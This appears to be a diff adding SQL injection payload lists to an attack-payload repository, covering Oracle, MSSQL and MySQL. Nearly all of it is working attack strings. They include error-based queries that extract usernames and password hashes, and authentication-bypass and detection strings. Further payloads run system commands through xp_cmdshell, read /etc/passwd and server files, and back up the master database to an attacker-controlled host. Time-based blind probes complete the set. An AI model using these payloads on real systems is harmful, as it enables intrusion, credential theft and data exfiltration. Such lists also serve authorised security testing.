' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=6)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=6)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=6)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=6)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=6)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=7)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=7)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=7)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=7)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=7)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=8)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=8)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=8)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=8)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=8)) AND 'i'='i
|
||||
|
||||
193
attack/sql-injection/detect/xplatform.txt
Normal file
193
attack/sql-injection/detect/xplatform.txt
Normal file
|
|
@ -0,0 +1,193 @@
|
|||
<>"'%;)(&+
|
||||
|
|
||||
!
|
||||
?
|
||||
/
|
||||
//
|
||||
//*
|
||||
'
|
||||
' --
|
||||
(
|
||||
)
|
||||
*|
|
||||
*/*
|
||||
&
|
||||
0
|
||||
031003000270000
|
||||
0 or 1=1
|
||||
0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)
|
||||
0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A
|
||||
0x77616974666F722064656C61792027303A303A31302700 exec(@s)
|
||||
1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
|
||||
1 or 1=1
|
||||
1;SELECT%20*
|
||||
1 waitfor delay '0:0:10'--
|
||||
'%20or%20''='
|
||||
'%20or%201=1
|
||||
')%20or%20('x'='x
|
||||
'%20or%20'x'='x
|
||||
%20or%20x=x
|
||||
%20'sleep%2050'
|
||||
%20$(sleep%2050)
|
||||
%21
|
||||
23 OR 1=1
|
||||
%26
|
||||
%27%20or%201=1
|
||||
%28
|
||||
%29
|
||||
%2A%28%7C%28mail%3D%2A%29%29
|
||||
%2A%28%7C%28objectclass%3D%2A%29%29
|
||||
%2A%7C
|
||||
||6
|
||||
'||'6
|
||||
(||6)
|
||||
%7C
|
||||
a'
|
||||
admin' or '
|
||||
' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
|
||||
' and 1 in (select var from temp)--
|
||||
anything' OR 'x'='x
|
||||
"a"" or 1=1--"
|
||||
a' or 1=1--
|
||||
"a"" or 3=3--"
|
||||
a' or 3=3--
|
||||
a' or 'a' = 'a
|
||||
'%20OR
|
||||
as
|
||||
asc
|
||||
a' waitfor delay '0:0:10'--
|
||||
'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login >
|
||||
bfilename
|
||||
char%4039%41%2b%40SELECT
|
||||
declare @q nvarchar (200) 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)
|
||||
declare @q nvarchar (200) select @q = 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A0031003000270000 exec(@q)
|
||||
declare @q nvarchar (4000) select @q =
|
||||
declare @s varchar (200) select @s = 0x73656c65637420404076657273696f6e exec(@s)
|
||||
declare @s varchar(200) select @s = 0x77616974666F722064656C61792027303A303A31302700 exec(@s)
|
||||
declare @s varchar(22) select @s =
|
||||
declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e
|
||||
delete
|
||||
desc
|
||||
distinct
|
||||
'||(elt(-3+5,bin(15),ord(10),hex(char(45))))
|
||||
'; exec master..xp_cmdshell
|
||||
'; exec master..xp_cmdshell 'ping 172.10.1.255'--
|
||||
exec(@s)
|
||||
'; exec ('sel' + 'ect us' + 'er')
|
||||
exec sp
|
||||
'; execute immediate 'sel' || 'ect us' || 'er'
|
||||
exec xp
|
||||
'; exec xp_regread
|
||||
' group by userid having 1=1--
|
||||
handler
|
||||
having
|
||||
' having 1=1--
|
||||
hi or 1=1 --"
|
||||
hi' or 1=1 --
|
||||
"hi"") or (""a""=""a"
|
||||
hi or a=a
|
||||
hi' or 'a'='a
|
||||
hi') or ('a'='a
|
||||
'hi' or 'x'='x';
|
||||
insert
|
||||
like
|
||||
limit
|
||||
*(|(mail=*))
|
||||
*(|(objectclass=*))
|
||||
or
|
||||
' or ''='
|
||||
or 0=0 #"
|
||||
' or 0=0 --
|
||||
' or 0=0 #
|
||||
" or 0=0 --
|
||||
or 0=0 --
|
||||
or 0=0 #
|
||||
' or 1 --'
|
||||
' or 1/*
|
||||
; or '1'='1'
|
||||
' or '1'='1
|
||||
' or '1'='1'--
|
||||
' or 1=1
|
||||
' or 1=1 /*
|
||||
' or 1=1--
|
||||
' or 1=1--
|
||||
'/**/or/**/1/**/=/**/1
|
||||
‘ or 1=1 --
|
||||
" or 1=1--
|
||||
or 1=1
|
||||
or 1=1--
|
||||
or 1=1 or ""=
|
||||
' or 1=1 or ''='
|
||||
' or 1 in (select @@version)--
|
||||
or%201=1
|
||||
or%201=1 --
|
||||
' or 2 > 1
|
||||
' or 2 between 1 and 3
|
||||
' or 3=3
|
||||
‘ or 3=3 --
|
||||
' or '7659'='7659
|
||||
or a=a
|
||||
or a = a
|
||||
' or 'a'='a
|
||||
' or a=a--
|
||||
') or ('a'='a
|
||||
" or "a"="a
|
||||
) or (a=a
|
||||
order by
|
||||
' or (EXISTS)
|
||||
or isNULL(1/0) /*
|
||||
" or isNULL(1/0) /*
|
||||
' or 'something' like 'some%'
|
||||
' or 'something' = 'some'+'thing'
|
||||
' or 'text' = n'text'
|
||||
' or 'text' > 't'
|
||||
' or uid like '%
|
||||
' or uname like '%
|
||||
' or 'unusual' = 'unusual'
|
||||
' or userid like '%
|
||||
' or user like '%
|
||||
' or username like '%
|
||||
' or username like char(37);
|
||||
' or 'whatever' in ('whatever')
|
||||
' -- &password=
|
||||
password:*/=1--
|
||||
PRINT
|
||||
PRINT @@variable
|
||||
procedure
|
||||
replace
|
||||
select
|
||||
' select * from information_schema.tables--
|
||||
' select name from syscolumns where id = (select id from sysobjects where name = tablename')--
|
||||
' (select top 1
|
||||
--sp_password
|
||||
'sqlattempt1
|
||||
(sqlattempt2)
|
||||
'sqlvuln
|
||||
'+sqlvuln
|
||||
(sqlvuln)
|
||||
sqlvuln;
|
||||
t'exec master..xp_cmdshell 'nslookup www.google.com'--
|
||||
to_timestamp_tz
|
||||
truncate
|
||||
tz_offset
|
||||
' UNION ALL SELECT
|
||||
' union all select @@version--
|
||||
' union select
|
||||
uni/**/on sel/**/ect
|
||||
' UNION SELECT
|
||||
' union select 1,load_file('/etc/passwd'),1,1,1;
|
||||
) union select * from information_schema.tables;
|
||||
' union select * from users where login = char(114,111,111,116);
|
||||
update
|
||||
'||UTL_HTTP.REQUEST
|
||||
,@variable
|
||||
@variable
|
||||
@var select @var as var into temp end --
|
||||
\x27UNION SELECT
|
||||
x' AND 1=(SELECT COUNT(*) FROM tabname); --
|
||||
x' AND email IS NULL; --
|
||||
x' AND members.email IS NULL; --
|
||||
x' AND userid IS NULL; --
|
||||
x' or 1=1 or 'x'='y
|
||||
x' OR full_name LIKE '%Bob%
|
||||
ý or 1=1 --
|
||||
11
attack/sql-injection/exploit/ms-sql-enumeration.txt
Normal file
11
attack/sql-injection/exploit/ms-sql-enumeration.txt
Normal file
|
|
@ -0,0 +1,11 @@
|
|||
select @@version
|
||||
select @@servernamee
|
||||
select @@microsoftversione
|
||||
select * from master..sysserverse
|
||||
select * from sysusers
|
||||
exec master..xp_cmdshell 'ipconfig+/all'
|
||||
exec master..xp_cmdshell 'net+view'
|
||||
exec master..xp_cmdshell 'net+users'
|
||||
exec master..xp_cmdshell 'ping+<attackerip>'
|
||||
BACKUP database master to disks='\\<attackerip>\<attackerip>\backupdb.dat'
|
||||
create table myfile (line varchar(8000))" bulk insert foo from 'c:\inetpub\wwwroot\auth.aspâ'" select * from myfile"--
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
<username>' OR 1=1--
|
||||
'OR '' = ' Allows authentication without a valid username.
|
||||
<username>'--
|
||||
' union select 1, '<user-fieldname>', '<pass-fieldname>' 1--
|
||||
'OR 1=1--
|
||||
1
attack/sql-injection/exploit/mysql-read-local-files.txt
Normal file
1
attack/sql-injection/exploit/mysql-read-local-files.txt
Normal file
|
|
@ -0,0 +1 @@
|
|||
create table myfile (input TEXT); load data infile '<filepath>' into table myfile; select * from myfile;
|
||||
|
|
@ -0,0 +1,107 @@
|
|||
)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
)%20waitfor%20delay%20'0:0:20'%20--
|
||||
')%20waitfor%20delay%20'0:0:20'%20/*
|
||||
')%20waitfor%20delay%20'0:0:20'%20--
|
||||
")%20waitfor%20delay%20'0:0:20'%20/*
|
||||
")%20waitfor%20delay%20'0:0:20'%20--
|
||||
))%20waitfor%20delay%20'0:0:20'%20/*
|
||||
))%20waitfor%20delay%20'0:0:20'%20--
|
||||
'))%20waitfor%20delay%20'0:0:20'%20/*
|
||||
'))%20waitfor%20delay%20'0:0:20'%20--
|
||||
"))%20waitfor%20delay%20'0:0:20'%20/*
|
||||
"))%20waitfor%20delay%20'0:0:20'%20--
|
||||
,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
',NULL)%20waifor%20delay%20'0:0:20'%20/*
|
||||
',NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
",NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
",NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
),NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
),NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
'),NULL)%20waifor%20delay%20'0:0:20'%20/*
|
||||
'),NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
"),NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
"),NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
',NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
',NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
",NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
",NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
'),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
'),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
"),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
"),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
',NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
',NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
",NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
",NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
'),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
'),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
"),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
"),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
',NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
',NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
",NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
",NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
'),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
'),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
"),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
"),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
',NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
',NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
",NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
",NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
'),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
'),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
"),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
"),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
',NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
',NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
",NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
",NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
'),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
'),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
"),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
"),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
',NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
',NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
",NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
",NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
'),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
'),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
"),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
"),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
"),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
"),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
|
|
@ -0,0 +1,40 @@
|
|||
waitfor delay '0:0:20' /*
|
||||
waitfor delay '0:0:20' --
|
||||
' waitfor delay '0:0:20' /*
|
||||
' waitfor delay '0:0:20' --
|
||||
" waitfor delay '0:0:20' /*
|
||||
" waitfor delay '0:0:20' --
|
||||
) waitfor delay '0:0:20' /*
|
||||
) waitfor delay '0:0:20' --
|
||||
)) waitfor delay '0:0:20' /*
|
||||
)) waitfor delay '0:0:20' --
|
||||
))) waitfor delay '0:0:20' /*
|
||||
))) waitfor delay '0:0:20' --
|
||||
)))) waitfor delay '0:0:20' /*
|
||||
)))) waitfor delay '0:0:20' --
|
||||
))))) waitfor delay '0:0:20' --
|
||||
)))))) waitfor delay '0:0:20' --
|
||||
') waitfor delay '0:0:20' /*
|
||||
') waitfor delay '0:0:20' --
|
||||
") waitfor delay '0:0:20' /*
|
||||
") waitfor delay '0:0:20' --
|
||||
')) waitfor delay '0:0:20' /*
|
||||
')) waitfor delay '0:0:20' --
|
||||
")) waitfor delay '0:0:20' /*
|
||||
")) waitfor delay '0:0:20' --
|
||||
'))) waitfor delay '0:0:20' /*
|
||||
'))) waitfor delay '0:0:20' --
|
||||
"))) waitfor delay '0:0:20' /*
|
||||
"))) waitfor delay '0:0:20' --
|
||||
')))) waitfor delay '0:0:20' /*
|
||||
')))) waitfor delay '0:0:20' --
|
||||
")))) waitfor delay '0:0:20' /*
|
||||
")))) waitfor delay '0:0:20' --
|
||||
'))))) waitfor delay '0:0:20' /*
|
||||
'))))) waitfor delay '0:0:20' --
|
||||
"))))) waitfor delay '0:0:20' /*
|
||||
"))))) waitfor delay '0:0:20' --
|
||||
')))))) waitfor delay '0:0:20' /*
|
||||
')))))) waitfor delay '0:0:20' --
|
||||
")))))) waitfor delay '0:0:20' /*
|
||||
")))))) waitfor delay '0:0:20' --
|
||||
|
|
@ -0,0 +1,90 @@
|
|||
+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL))%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL))%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL))%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
